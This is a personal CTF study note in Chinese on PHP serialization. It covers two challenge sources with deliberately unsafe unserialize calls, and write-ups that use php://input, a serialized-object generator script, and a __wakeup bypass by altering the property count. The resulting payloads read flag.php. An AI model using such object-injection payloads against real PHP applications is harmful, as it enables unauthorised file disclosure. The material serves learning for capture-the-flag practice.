CTF知识点个人总结 —WEB
- PHP序列化与反序列化(一)
php的序列化和反序列化:serialize()和unserialize()函数的作用是把复杂的数据类型压缩到一个字符串中来传输。
relax.php
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if(isset($_)&&(file_get_contents($_,'r')==="Two thousand three hundred
and thirty-three"))
{
echo '<img src="./images/13.jpg" alt=""><br>';
if(preg_match("/flag/i",$__)){
echo "It's not that simple";
exit();
}else{
include($__);
unserialize($___); --反序列化
}
}else{
echo '<img src="./images/1.gif" alt="">';
}
heicore.php
<?php
class Heicore{
public $file;
public function __destruct(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
}
}
?>
可以知道需要先设置$_ 变量,file_gets_content( $_,‘r’)的意思是把这个 $ _(在这里是一个文件)以字符串的形式读出来,并且字符串要完全等于""Two thousand three hundred and thirty-three(这里要用到php伪协议,使用php://input 1,并且当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容)
当传进成功后,我们可以看到只有file($ __)中不包含flag关键词,就会include($ __)进去,而且会将$ ___ 反序列化进行输出。在这之前我们已经得出了flag.php就是存放flag的地方,但是苦于preg _match这个函数,heicore.php是我们在robots.php里看到的,我们事先已经用php:filter2将这个源代码读了出来,发现include如果包含这个heicore.php,那么我们可以将(><)序列化(class的序列化),并且让其值是flag.php,这样就可以读到这个文件了(有魔法函数自动执行语句滴~),如此一来就避免了preg _match函数的魔爪,可以顺利得到flag。
payload.php
<?php
class heicore{
public $file;
}
$a = new heicore();
$a->file ="flag.php";
$a = serialize($a);
print_r($a);
?>
url中(><)=O:7:%22Heicore%22:1{s:4:%22file%22;s:8:%22flag.php%22;}得到flag
PHP序列化与反序列化(二)
利用
php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。(序列化反序列化的题目时常和magic函数放在一起进行绕过)
Sofun.php
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file))
{
//查找file文件中的字符串,如果有'\\'和'/'在字符串中,就显示错误
if(strchr($this->file,"\\")===false
&& strchr($this->file, '/')===false)
{
show_source(dirname (__FILE__).'/'.$this ->file);
}
else{
die('Wrong filename.');
}
}
}
function __wakeup()
{
$this-> file='index.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file']))
{
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
?> #<!--flag in flag.php-->
可以看到首先变量不为空,其次这个变量不能有"\" or “/”,这样他才会显示出这个文件的内容,这里又再次看到了unserialize
形式,使file的值是flag.php即可,但是这个时候需要考虑到base64编码和wakeup魔法函数,因为通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php。所以还需要考虑怎么绕过_ wakeup函数才可。但是还是有漏洞可以钻一钻的,查询各种小资料,发现_wakeup漏洞,简单来说,当一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这就是一个绕过点。 这下我们就可以放心大胆的serialize
$file了,最后只需要修改其属性值得数目就可以绕过magic函数。但是注意protected属性,protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。
这是我在网上查询到的资料,并且字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
构造假payload:O:5:“SoFun”:2:{s:9:"\0*\0file";s:8:“flag.php”;}3
最后将假payload进行base64加密即可得到真payload!